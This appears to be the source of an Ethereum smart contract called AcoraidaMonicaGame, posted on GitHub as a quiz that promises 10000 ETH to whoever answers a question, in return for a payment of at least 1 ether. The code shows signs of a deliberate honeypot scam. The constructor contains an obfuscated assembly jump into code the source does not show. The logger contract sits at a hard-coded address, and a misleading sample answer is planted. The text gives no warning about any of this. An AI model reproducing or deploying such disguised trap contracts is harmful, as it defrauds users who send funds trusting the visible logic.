Acoraida Monica
December 18, 2018 ยท View on GitHub
pragma solidity =0.4.25;
contract AcoraidaMonicaGame{
uint256 public version = 4;
string public description = "Acoraida Monica admires smart guys, she'd like to pay 10000ETH to the one who could answer her question. Would it be you?";
string public constant sampleQuestion = "Who is Acoraida Monica?";
string public constant sampleAnswer = "$*!&#^[ a@.3;Ta&*T R<~5Z`^5V You beat me! :D";
Logger public constant logger=Logger(0x5e351bd4247f0526359fb22078ba725a192872f3);
address questioner;
string public question;
bytes32 private answerHash;
constructor(bytes a) {
assembly{
pc
0xe1
add
jump
}
}
modifier onlyHuman{
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size==0);
_;
}
function Start(string _question, string _answer) public payable{
if(answerHash==0){
answerHash = keccak256(_answer);
question = _question;
questioner = msg.sender;
}
}
function NewRound(string _question, bytes32 _answerHash) public payable{
if(msg.sender == questioner && msg.value >= 0.5 ether){
require(_answerHash != keccak256(sampleAnswer));
question = _question;
answerHash = _answerHash;
logger.AcoraidaMonicaWantsToKnowTheNewQuestion(_question);
logger.AcoraidaMonicaWantsToKnowTheNewAnswerHash(_answerHash);
}
}
function TheAnswerIs(string _answer) onlyHuman public payable{
//require(msg.sender != questioner);
if(answerHash == keccak256(_answer) && msg.value >= 1 ether){
questioner = msg.sender;
msg.sender.transfer(address(this).balance);
logger.AcoraidaMonicaWantsToKeepALogOfTheWinner(msg.sender);
}
}
/*function setLogger(address _log) public {
require(msg.sender == questioner);
logger = Logger(_log);
}*/
function () payable {}
} contract Logger{ event WeHaveAWinner(address); event NewQuestion(string); event NewAnswerHs(bytes32); function AcoraidaMonicaWantsToKeepALogOfTheWinner(address winner) public { emit WeHaveAWinner(winner); } function AcoraidaMonicaWantsToKnowTheNewQuestion(string _question) public{ emit NewQuestion(_question); } function AcoraidaMonicaWantsToKnowTheNewAnswerHash(bytes32 _answerHash) public { emit NewAnswerHs(_answerHash); } }